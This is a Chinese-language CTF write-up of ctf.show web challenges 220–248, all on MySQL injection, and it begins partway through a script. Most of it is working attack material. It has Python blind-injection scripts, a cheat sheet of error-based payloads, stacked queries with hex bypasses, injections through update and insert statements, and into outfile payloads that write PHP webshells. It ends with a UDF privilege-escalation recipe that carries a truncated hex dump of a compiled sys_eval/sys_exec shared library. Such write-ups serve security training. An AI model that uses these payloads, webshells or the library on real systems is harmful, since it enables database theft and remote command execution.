            'ip': f"'') or if(ascii(substr(({payload}),{i},1))={ord(j)},(select count(*) from information_schema.columns A, information_schema.columns B),1)#",
            'debug': '0'
        }
        time.sleep(0.4)
        try:
            r = requests.post(url, data, timeout=0.3)
        except:
            flag+=j
            print(flag)
            break

web220

过滤了内容

过滤了ascii可以用ord替代,过滤了substr可以用left+right
right(left('abcdef',3),1)等价于substr('abcdef',3,1)

import requests
import time
url = "http://c5faefd5-3af5-46f7-885f-8727aae615b3.challenge.ctf.show/api/"

s=string.digits+string.ascii_lowercase+'{,_-}'
flag=''

for i in range(1,50):
    print(i)
    for j in s:
        # 查数据库
        payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flagaac
        #payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcac'"
        # 查数据
        payload = "select flagaabcc from ctfshow_flagxcac"
        data = {
            'ip': f"0)||if(ord(right(left(({payload}),{i}),1))={ord(j)},(select count(*) from information_schema.columns A, information_schema.columns B),1)#",
            'debug': '0'
        }
        #time.sleep(0.4)
        try:
            r = requests.post(url, data, timeout=0.1)
        except:
            flag+=j
            print(flag)
            break

web221

limit 注入

$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;

mysql中order by后面不可跟union

在 limit 后面可以跟两个函数,procerdure 和 into,into 除非有写入 shell 的权限,否则是无法利用的,但是 limit 后面还可以跟 procerdure 函数。
procedure(存储过程) 存储过程是实现特定功能的语句集合,编译后存在数据库中。 通过存储过程的名字,并给定参数来调用
而 procerdure 可以跟 analyse 函数,analyse 可以有两个参数

PROCEDURE ANALYSE 通过分析select查询结果对现有的表的每一列给出优化的建议。
PROCEDURE ANALYSE的语法如下:
SELECT … FROM … WHERE … PROCEDURE ANALYSE([max_elements,[max_memory]])

max_elements (默认值256) analyze查找每一列不同值时所需关注的最大不同值的数量.
analyse还用这个值来检查优化的数据类型是否该是ENUM,如果该列的不同值的数量超过了
max_elements值ENUM就不做为建议优化的数据类型。
max_memory (默认值8192) analyze查找每一列所有不同值时可能分配的最大的内存数量

两种注入方式:

使用 extractvalue 进行报错注入

mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 

ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'

EXTRACTVALUE(xml_fragment, xpath_expression)
xml_fragment:表示一个包含 XML 数据的字符串(通常是字段或直接写的 XML 字符串)。这个参数提供了 XML 数据源。
xpath_expression:表示一个 XPath 表达式,用于定位和提取 xml_fragment 中的特定值。

它的第二个参数都要求是符合 xpath 语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,0x3a,即: 不是 xml 实体,所以会报错
0x7e(~)和0x23(#)都可以

从 mysql5.1.5 开始,提供两个 XML 查询和修改的函数:extractvalue 和 updatexml;extractvalue 负责在 xml 文档中按照 xpath 语法查询节点内容,updatexml 则负责修改查询到的内容;用法上 extractvalue 与 updatexml 的区别:updatexml 使用三个参数,extractvalue 只有两个参数。

用 updatexml 函数

/api/?page=1&limit=1 procedure analyse(updatexml(1,concat(0x7e,database(),0x7e),1),1)

使用 benchmark 进行时间盲注

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

直接使用sleep不行,需要用BENCHMARK代替

web222

group by布尔盲注

import requests
import string

url = 'http://c89585b1-87d8-4162-9aa9-54be36c2554b.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + ',{}-_'
out = ''

for j in range(1, 50):
	for k in dic:
		payload = f"select group_concat(table_name) from information_schema.tables where table_schema=database()"  # 跑表名
		# payload = f"select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'"  # 跑列名
        # payload = f"select flagaabc from ctfshow_flaga"  # 布尔盲注跑flag
		data={'u':f"if(substr(({payload}),{j},1)='{k}',username,0)"}
		re = requests.get(url, params=data)
		if "passwordAUTO" in re.text:
			out += k
			break
	print(out)

web223

用true构造数字

import requests
import string

url = 'http://7326c685-b051-452a-8c4e-5637834468b8.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + ',{}-_'
out = ''

def generateNum(num):
	res = 'true'
	if num == 1:
		return res
	else:
		for i in range(num - 1):
			res += "+true"
		return res

for j in range(1, 50):
	for k in dic:
		payload = f"select group_concat(table_name) from information_schema.tables where table_schema=database()"  # 跑表名
		# payload = f"select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'"  # 跑列名
		# payload = f"select flagaabc from ctfshow_flaga"  # 布尔盲注跑flag
		data={'u':f"if(ascii(substr(({payload}),{generateNum(j)},{generateNum(1)}))={generateNum(ord(k))},username,'a')"}
		re = requests.get(url, params=data)
		if "userAUTO" in re.text:
			out += k
			break
	print(out)

web224

文件类型注入

finfo类通过解析文件内容返回文件类型
源码如下:


<?php
	error_reporting(0);
	if ($_FILES["file"]["error"] > 0)
	{
		die("Return Code: " . $_FILES["file"]["error"] . "<br />");
	}
	if($_FILES["file"]["size"]>10*1024){
		die("文件过大: " .($_FILES["file"]["size"] / 1024) . " Kb<br />");
	}

    if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
	  $filename = md5(md5(rand(1,10000))).".zip";
      $filetype = (new finfo)->file($_FILES['file']['tmp_name']);
      if(preg_match("/image|png|bmap|jpg|jpeg|application|text|audio|video/i",$filetype)){
        die("file type error");
      }
	  $filepath = "upload/".$filename;
	  $sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');";
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $filename);
	  $con = mysqli_connect("localhost","root","root","ctf");
		if (!$con)
		{
			die('Could not connect: ' . mysqli_error());
		}
		if (mysqli_multi_query($con, $sql)) {
			header("location:filelist.php");
		} else {
			echo "Error: " . $sql . "<br>" . mysqli_error($con);
		}
		 
		mysqli_close($con);
		
      }
    
?>

传入一个文本文件,写入:

C64File "');select 0x3c3f3d60245f4745545b315d3b603f3e into outfile '/var/www/html/2.php';--+

C64File 是与 Commodore 64 相关的文件类型,可能包含程序代码、磁盘映像或音乐数据。这类文件主要用于仿真器或真实 C64 硬件中加载和运行。

这个payload会让filetype直接返回payload的内容,而且好像只有这个格式可以,虽然不知道为什么,造成堆叠注入

0x3c3f3d60245f4745545b315d3b603f3e<?=`$_GET[1];`?>的16进制形式

然后访问2.php命令执行

web225

https://cc1cec64-7400-4d89-84e7-67f8b663c350.challenge.ctf.show/api/?username=0';show tables;--+
https://cc1cec64-7400-4d89-84e7-67f8b663c350.challenge.ctf.show/api/?username=0';show columns from ctfshow_flagasa;--+

可以采用预处理的方法:prepare + execute

PREPARE 语句准备好一条 SQL 语句,并分配给这条 SQL 语句一个名字供之后调用,通过EXECUTE 命令执行,最后使用 DEALLOCATE PREPARE 命令释放

0';prepare myon from concat("sel","ect * from `ctfshow_flagasa`");execute myon;#

可以用handler
handler 是 mysql 的专用语句,没有包含到 SQL 标准中,但它每次只能查询 1 次记录,而 select 可以根据需要返回多条查询结果。

handler `表名` open;           // 打开一个表
 
handler`表名`read frist;      // 查询第一个数据
 
handler`表名`read next;     // 查询之后的数据直到最后一个数据返回空
0';handler`ctfshow_flagasa` open;handler`ctfshow_flagasa`read next;#

还有用alter重命名加万能密码,但是这里被过滤了
参考 https://blog.csdn.net/Myon5/article/details/141323202

web226

过滤了(,可以用十六进制绕过,从十六进制转字节后只执行一次命令,所以concat拼接再执行不可行,直接把命令转十六进制就可以了

api/?username=0';prepare myon from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;execute myon;%23

十六进制部分是

select * from ctfsh_ow_flagas

web227

flag在mysql存储过程中

在 MySQL 中,存储过程和函数的信息存储在 information_schema 数据库下的 Routines 表中

SELECT * FROM information_schema.Routines WHERE ROUTINE_NAME='sp_name';

还是用十六进制绕过

0';prepare myon from 0x53454c454354202a2046524f4d20696e666f726d6174696f6e5f736368656d612e526f7574696e6573;execute myon;%23

web228-230

全是十六进制绕过

web231

update语法,更新表中数据

UPDATE table_name SET column_name=value,col_name2=value [where condition]

没有condition就是全改,#注释后面语句,username是什么都无所谓

查询表名

password=456',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=4

查询列名

password=456',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')#&username=4

查询数据

password=456',username=(select group_concat(flagas) from flaga)#&username=4

web232

password=456'),username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=4

web233

一样是无过滤,但是原来payload不可行,盲注

import string

import requests
import time
url = "http://70b04763-3f67-46b4-9459-005e4772b434.challenge.ctf.show/api/"

s=string.digits+string.ascii_lowercase+'{,_-}'
flag=''

for i in range(1,50):
    print(i)
    for j in s:
        # 查数据库
        #payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flagaac
        payload = "select group_concat(column_name) from information_schema.columns where table_name='flag233333'"
        # 查数据
        #payload = "select flagaac from ctfshow_flagxcc"
        data = {
            'username': f"1' or if(ascii(substr(({payload}),{i},1))={ord(j)},sleep(0.1),1)#",
            'password': '00'
        }
        #time.sleep(0.4)
        try:
            r = requests.post(url, data, timeout=2)
        except:
            flag+=j
            print(flag)
            break

sleep(0.1)即可实现2秒以上延迟,如果这里是sleep(2)的话,只能匹配第一个字符,因为延迟太久了,导致匹配第二个字符的时候第一个payload的sleep还么结束,所以第二个字符的payload直接超时,就会输出0

web234

说的是没过滤,实际上将单引号给过滤了

这题可以用\将查询语句中的单引号转义

$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

变成

$sql = "update ctfshow_user set pass = '\' where username = '{$username}';";

pass就等于' where username =
这样username就是可控的

查表名

username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&password=qwer123456\

查列名(双引号代替单引号)

username=,username=(select group_concat(column_name) from information_schema.columns where table_name="flag23a")#&password=qwer123456\

查列名(16进制编码)

username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)#&password=qwer123456\

查数据

username=,username=(select group_concat(flagass23s3) from flag23a)#&password=qwer123456\

web235

information_schema被过滤

使用 mysql.innodb_table_stats 和 mysql.innodb_index_stats 代替,它们是 MySQL 内部的系统表,用于存储 InnoDB 引擎相关的统计信息,内容与 information_schema.tables 类似,也可以用来获取数据库中的库名和表名,这两个表都包含了 database_name 和 table_name 字段。

但是 mysql.innodb_table_stats 和 mysql.innodb_index_stats 下不包含列名信息,这里需要采用无列名注入:

username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#&password=qwer123456\
password=\&username=,username=(select group_concat(`2`)  from (select 1,2,3 union select * from flag23a1) as a)#

password=\&username=,username=(select concat(`1`,0x2d,`2`,`3`) from (select 1,2,3 union select * from flag23a1 limit 1,1)a);#

`用于标识符(表名、列名、数据库名)

select 1,2,3 union select * from flag23a1得到的表结构

+---+----+-------+
| 1 | 2  | 3     |
+---+----+-------+
| 1 | 2  | 3     |  -- 来自第一个子查询
| a | 42 | hello |  -- 来自 flag23a1 的第一行
| b | 43 | world |  -- 来自 flag23a1 的第二行
+---+----+-------+

如果反引号被过滤了,可以继续采用 as 起别名:

其实 as 是可以省略的,只是为了增强可读性我们一般不省略。

password=\&username=,username=(select group_concat(myon) from (select 1,2 as myon,3 union select * from flag23a1) as a)#

web236

过滤了flag,可能是过滤了输出内容为flag的值

用base64转码

username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#&password=\

username=,username=(select to_base64(b) from (select 1,2 as b,3 union select * from flaga limit 1,1)a)#&password=\

username=,username=(select to_base64(`2`) from (select 1,2 as b,3 union select * from flaga limit 1,1)a)#&password=\

web237

insert注入

username=wsnd',(select group_concat(table_name) from information_schema.tables where table_schema=database()));#
password=1
username=wsnd',(select group_concat(column_name) from information_schema.columns where table_name='flag'));#
password=1

username=wsnd',(select group_concat(flagass23s3) from flag));#
password=1

web238

过滤空格
查表名

username=wsnd',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())));#
password=1

查列名

username=wsnd',(select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name='flagb')));#
password=1

查数据

username=wsnd',(select(group_concat(flag))from(flagb)));#
password=1

web239

过滤了information_schema,用mysql.innodb_table_stats代替
查表名

username=wsnd',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))#

password=2

查数据(只能靠猜了)

1',(select(flag)from(flagbb)))#

web240

只能爆破表名

import requests
import itertools
 
url = 'http://8538e916-9a72-4ff8-a152-b4a4c1e9db42.challenge.ctf.show/api/insert.php'
url2 = 'http://8538e916-9a72-4ff8-a152-b4a4c1e9db42.challenge.ctf.show/api/?page=3&limit=10'
dic = itertools.product('ab',repeat=5)
for i in dic:
    p = ''.join(i)
    # print(p)
    payload = {"username":f"1',(select(flag)from(flag{p})))#","password":"1"}
    # print(payload)
    re = requests.post(url, data=payload)
    # print(re.text)
    re2 = requests.get(url2)
    if "ctfshow" in re2.text :
        print(re2.text)

web241

import requests

url = "http://15455a96-daeb-4882-8c88-fb4b1fe82c4a.challenge.ctf.show/api/delete.php"

result = ""
i = 0
while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        #payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flag
        #payload = "select group_concat(column_name) from information_schema.columns where table_name='flag'"
        # 查数据
        payload = "select flag from flag"
        data = {
            'id': f"if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.18),1)",
        }
        try:
            r = requests.post(url, data=data, timeout=3.5)
            tail = mid
        except Exception as e:
            head = mid + 1
        time.sleep(0.1)
    if head != 32:
        result += chr(head)
    else:
        break
    print(result)
    if chr(head)=='}':
        break

web242

可以接在into outfile后面的

1'into outfile '路径' + lines terminated by + <木马>
1'into outfile '路径' + lines starting by + <木马>
1'into outfile '路径' + fields terminated by + <木马>
1'into outfile '路径' + columns terminated by + <木马>

payload

filename=1.php'lines terminated by "<?php eval($_POST[1]);?>"#

web243

过滤了php,可以先写到.user.ini中,就跟文件上传漏洞的时候一样

filename=.user.ini'lines starting by "auto_prepend_file=eval.png;"#

加;是为了截断查询结果

filename=eval.png'lines starting by "<?=@eval($_POST[1]);?>"#

web244

extractvalue 与 updatexml报错注入

api/?id=1' or extractvalue(1,concat(0x3a,(select group_concat(table_name)from information_schema.tables where table_schema=database())));--+
api/?id=1' or extractvalue(1,concat(0x3a,(select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flag')));--+
api/?id=1' or extractvalue(1,concat(0x3a,(select group_concat(flag) from ctfshow_flag)));%23
api/?id=1' or extractvalue(1,concat(0x3a,(substr((select group_concat(flag)from ctfshow_flag),20,42))));%23

extractvalue最多显示32个字符,拼接一下flag

一些语句结尾注入方式的汇总

1. floor + rand + group by
select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from user where id=1 and (select count(*) from (select 1 union select null union select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

2. ExtractValue
select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3. UpdateXml
select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1));

4. Name_Const(>5.0.12)
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;

5. Join
select * from(select * from mysql.user a join mysql.user b)c;
select * from(select * from mysql.user a join mysql.user b using(Host))c;
select * from(select * from mysql.user a join mysql.user b using(Host,User))c;

6. exp()//mysql5.7貌似不能用
select * from user where id=1 and Exp(~(select * from (select version())a));

7. geometrycollection()//mysql5.7貌似不能用
select * from user where id=1 and geometrycollection((select * from(select * from(select user())a)b));

8. multipoint()//mysql5.7貌似不能用
select * from user where id=1 and multipoint((select * from(select * from(select user())a)b));

9. polygon()//mysql5.7貌似不能用
select * from user where id=1 and polygon((select * from(select * from(select user())a)b));

10. multipolygon()//mysql5.7貌似不能用
select * from user where id=1 and multipolygon((select * from(select * from(select user())a)b));

11. linestring()//mysql5.7貌似不能用
select * from user where id=1 and linestring((select * from(select * from(select user())a)b));

12. multilinestring()//mysql5.7貌似不能用
select * from user where id=1 and multilinestring((select * from(select * from(select user())a)b));

web245

过滤了updatexml

web246

用floor + rand + group by

1' and (select 1 from (select count(*),concat((select (table_name) from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a);--+

group by在执行时,会依次取出查询表中的记录并创建一个临时表,group by的对象便是该临时表的主键。如果临时表中已经存在该主键,则将值加1,如果不存在,则将该主键插入到临时表中。

group by与rand()使用时,如果临时表中没有该主键,则在插入前rand()会再计算一次,会导致主键唯一性约束冲突

参考 https://www.cnblogs.com/wzy-ustc/p/14217750.html

至于这里为什么不能把count(*)改掉或者改成group_concat(table_name)还不知道

1' and (select 1 from (select count(*),concat((select (column_name) from information_schema.columns where table_name="ctfshow_flags" limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a);--+
1' and (select 1 from (select count(*),concat((select flag2 from ctfshow_flags),floor(rand(0)*2))x from information_schema.tables group by x)a);--+

web247

用ceil代替floor

1' and (select 1 from (select count(*),concat((select (table_name) from information_schema.tables where table_schema=database() limit 1,1),ceil(rand(0)*2))x from information_schema.tables group by x)a);--+
1' and (select 1 from (select count(*),concat((select (column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flagsa" limit 1,1),ceil(rand(0)*2))x from information_schema.tables group by x)a);--+
1' and (select 1 from (select count(*),concat((select `flag?` from ctfshow_flagsa),ceil(rand(0)*2))x from information_schema.tables group by x)a);--+

`不可缺,标识?为字段名一部分

web248

udf提权
参考 https://www.jianshu.com/p/632c6b23ea5a
https://lazzzaro.github.io/2020/05/16/web-SQL%E6%B3%A8%E5%85%A5/

show variables like '%plugin%';
# 通常是/usr/lib/mysql/plugin/

select unhex('udf.so的十六进制') into dumpfile
'/usr/lib/mysql/plugin/mysqludf.so';

create function sys_eval returns string soname 'mysqludf.so';

select sys_eval('whoami');

#参考脚本
#环境:Linux/MariaDB
import requests
 
url='http://7be22549-6d60-400a-ae30-6ef906c1845f.challenge.ctf.show/api/?id='
code='7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000000000000000000C414000000000000C41400000000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000000000000002000000000000200000006000000F814000000000000F814200000000000F814200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050E574640400000044120000000000004412000000000000441200000000000084000000000000008400000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474E5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A8000000001100000011000000020000000700000080080248811944C91CA44003980468831100000013000000140000001600000017000000190000001C0000001E000000000000001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE1200000000000000000000000000000000000000000000000000000000000000000300090088090000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000CD00000012000000000000000000000000000000000000001E0100001200000000000000000000000000000000000000620100001200000000000000000000000000000000000000E30000001200000000000000000000000000000000000000B90000001200000000000000000000000000000000000000680100001200000000000000000000000000000000000000160000002200000000000000000000000000000000000000540000001200000000000000000000000000000000000000F00000001200000000000000000000000000000000000000B200000012000000000000000000000000000000000000005A01000012000000000000000000000000000000000000005201000012000000000000000000000000000000000000004C0100001200000000000000000000000000000000000000E800000012000B00D10D000000000000D1000000000000003301000012000B00A90F0000000000000A000000000000001000000012000C00481100000000000000000000000000007800000012000B009F0B0000000000004C00000000000000FF0000001200090088090000000000000000000000000000800100001000F1FF101720000000000000000000000000001501000012000B00130F0000000000002F000000000000008C0100001000F1FF201720000000000000000000000000009B00000012000B00480C0000000000000A000000000000002501000012000B00420F0000000000006700000000000000AA00000012000B00520C00000000000063000000000000005B00000012000B00950B0000000000000A000000000000008E00000012000B00EB0B0000000000005D00000000000000790100001000F1FF101720000000000000000000000000000501000012000B00090F0000000000000A00000000000000C000000012000B00B50C000000000000F100000000000000F700000012000B00A20E00000000000067000000000000003900000012000B004C0B0000000000004900000000000000D400000012000B00A60D0000000000002B000000000000004301000012000B00B30F0000000000005501000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F696E6974006D656D637079006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E6974007379735F6765745F6465696E6974007379735F67657400676574656E76007374726C656E007379735F7365745F696E6974006D616C6C6F63007379735F7365745F6465696E69740066726565007379735F73657400736574656E76007379735F657865635F696E6974007379735F657865635F6465696E6974007379735F657865630073797374656D007379735F6576616C5F696E6974007379735F6576616C5F6465696E6974007379735F6576616C00706F70656E007265616C6C6F63007374726E6370790066676574730070636C6F7365006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E3500000000000000000000020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001006F0100001000000000000000751A6909000002009101000000000000F0142000000000000800000000000000F0142000000000007816200000000000060000000200000000000000000000008016200000000000060000000300000000000000000000008816200000000000060000000A0000000000000000000000A81620000000000007000000040000000000000000000000B01620000000000007000000050000000000000000000000B81620000000000007000000060000000000000000000000C01620000000000007000000070000000000000000000000C81620000000000007000000080000000000000000000000D01620000000000007000000090000000000000000000000D816200000000000070000000A0000000000000000000000E016200000000000070000000B0000000000000000000000E816200000000000070000000C0000000000000000000000F016200000000000070000000D0000000000000000000000F816200000000000070000000E00000000000000000000000017200000000000070000000F00000000000000000000000817200000000000070000001000000000000000000000004883EC08E8EF000000E88A010000E8750700004883C408C3FF35F20C2000FF25F40C20000F1F4000FF25F20C20006800000000E9E0FFFFFFFF25EA0C20006801000000E9D0FFFFFFFF25E20C20006802000000E9C0FFFFFFFF25DA0C20006803000000E9B0FFFFFFFF25D20C20006804000000E9A0FFFFFFFF25CA0C20006805000000E990FFFFFFFF25C20C20006806000000E980FFFFFFFF25BA0C20006807000000E970FFFFFFFF25B20C20006808000000E960FFFFFFFF25AA0C20006809000000E950FFFFFFFF25A20C2000680A000000E940FFFFFFFF259A0C2000680B000000E930FFFFFFFF25920C2000680C000000E920FFFFFF4883EC08488B05ED0B20004885C07402FFD04883C408C390909090909090909055803D680C2000004889E5415453756248833DD00B200000740C488D3D2F0A2000E84AFFFFFF488D1D130A20004C8D25040A2000488B053D0C20004C29E348C1FB034883EB014839D873200F1F4400004883C0014889051D0C200041FF14C4488B05120C20004839D872E5C605FE0B2000015B415CC9C3660F1F84000000000048833DC009200000554889E5741A488B054B0B20004885C0740E488D3DA7092000C9FFE00F1F4000C9C39090554889E54883EC3048897DE8488975E0488955D8488B45E08B0085C07421488D0DE7050000488B45D8BA320000004889CE4889C7E89BFEFFFFC645FF01EB04C645FF000FB645FFC9C3554889E548897DF8C9C3554889E54883EC3048897DF8488975F0488955E848894DE04C8945D84C894DD0488D0DCA050000488B45E8BA1F0000004889CE4889C7E846FEFFFF488B45E048C7001E000000488B45E8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F801751C488B45F0488B40088B0085C0750E488B45F8C60001B800000000EB20488D0D83050000488B45E8BA2B0000004889CE4889C7E8DFFDFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC4048897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E0488B4010488B004889C7E8BBFDFFFF488945F848837DF8007509488B45C8C60001EB16488B45F84889C7E84BFDFFFF4889C2488B45D0488910488B45F8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F8027425488D0D05050000488B45E8BA1F0000004889CE4889C7E831FDFFFFB801000000E9AB000000488B45F0488B40088B0085C07422488D0DF2040000488B45E8BA280000004889CE4889C7E8FEFCFFFFB801000000EB7B488B45F0488B40084883C004C70000000000488B45F0488B4018488B10488B45F0488B40184883C008488B00488D04024883C0024889C7E84BFCFFFF4889C2488B45F848895010488B45F8488B40104885C07522488D0DA4040000488B45E8BA1A0000004889CE4889C7E888FCFFFFB801000000EB05B800000000C9C3554889E54883EC1048897DF8488B45F8488B40104885C07410488B45F8488B40104889C7E811FCFFFFC9C3554889E54883EC3048897DE8488975E0488955D848894DD0488B45E8488B4010488945F0488B45E0488B4018488B004883C001480345F0488945F8488B45E0488B4018488B10488B45E0488B4010488B08488B45F04889CE4889C7E8EFFBFFFF488B45E0488B4018488B00480345F0C60000488B45E0488B40184883C008488B10488B45E0488B40104883C008488B08488B45F84889CE4889C7E8B0FBFFFF488B45E0488B40184883C008488B00480345F8C60000488B4DF8488B45F0BA010000004889CE4889C7E892FBFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0DC2020000488B45D8BA2B0000004889CE4889C7E81EFBFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC2048897DF8488975F0488955E848894DE0488B45F0488B4010488B004889C7E882FAFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0D22020000488B45D8BA2B0000004889CE4889C7E87EFAFFFFB801000000C9C3554889E548897DF8C9C3554889E54881EC500400004889BDD8FBFFFF4889B5D0FBFFFF488995C8FBFFFF48898DC0FBFFFF4C8985B8FBFFFF4C898DB0FBFFFFBF01000000E8BEF9FFFF488985C8FBFFFF48C745F000000000488B85D0FBFFFF488B4010488B00488D352C0200004889C7E852FAFFFF488945E8EB63488D85E0FBFFFF4889C7E8BDF9FFFF488945F8488B45F8488B55F04801C2488B85C8FBFFFF4889D64889C7E80CFAFFFF488985C8FBFFFF488D85E0FBFFFF488B55F0488B8DC8FBFFFF4801D1488B55F84889C64889CFE8D1F9FFFF488B45F8480145F0488B55E8488D85E0FBFFFFBE000400004889C7E831F9FFFF4885C07580488B45E84889C7E850F9FFFF488B85C8FBFFFF0FB60084C0740A4883BDC8FBFFFF00750C488B85B8FBFFFFC60001EB2B488B45F0488B95C8FBFFFF488D0402C60000488B85C8FBFFFF4889C7E8FBF8FFFF488B95C0FBFFFF488902488B85C8FBFFFFC9C39090909090909090554889E5534883EC08488B05A80320004883F8FF7419488D1D9B0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E84FF9FFFF4883C408C300004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F29000000000000006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E33000045787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D6574657200000000000045787065637465642065786163746C792074776F20617267756D656E74730000457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279007200011B033B800000000F00000008F9FFFF9C00000051F9FFFFBC0000005BF9FFFFDC000000A7F9FFFFFC00000004FAFFFF1C0100000EFAFFFF3C01000071FAFFFF5C01000062FBFFFF7C0100008DFBFFFF9C0100005EFCFFFFBC010000C5FCFFFFDC010000CFFCFFFFFC010000FEFCFFFF1C02000065FDFFFF3C0200006FFDFFFF5C0200001400000000000000017A5200017810011B0C0708900100001C0000001C00000064F8FFFF4900000000410E108602430D0602440C070800001C0000003C0000008DF8FFFF0A00000000410E108602430D06450C07080000001C0000005C00000077F8FFFF4C00000000410E108602430D0602470C070800001C0000007C000000A3F8FFFF5D00000000410E108602430D0602580C070800001C0000009C000000E0F8FFFF0A00000000410E108602430D06450C07080000001C000000BC000000CAF8FFFF6300000000410E108602430D06025E0C070800001C000000DC0000000DF9FFFFF100000000410E108602430D0602EC0C070800001C000000FC000000DEF9FFFF2B00000000410E108602430D06660C07080000001C0000001C010000E9F9FFFFD100000000410E108602430D0602CC0C070800001C0000003C0100009AFAFFFF6700000000410E108602430D0602620C070800001C0000005C010000E1FAFFFF0A00000000410E108602430D06450C07080000001C0000007C010000CBFAFFFF2F00000000410E108602430D066A0C07080000001C0000009C010000DAFAFFFF6700000000410E108602430D0602620C070800001C000000BC01000021FBFFFF0A00000000410E108602430D06450C07080000001C000000DC0100000BFBFFFF5501000000410E108602430D060350010C0708000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF00000000000000000000000000000000F01420000000000001000000000000006F010000000000000C0000000000000088090000000000000D000000000000004811000000000000F5FEFF6F00000000B8010000000000000500000000000000E805000000000000060000000000000070020000000000000A000000000000009D010000000000000B000000000000001800000000000000030000000000000090162000000000000200000000000000380100000000000014000000000000000700000000000000170000000000000050080000000000000700000000000000F0070000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000D007000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000008607000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F81420000000000000000000000000000000000000000000B609000000000000C609000000000000D609000000000000E609000000000000F609000000000000060A000000000000160A000000000000260A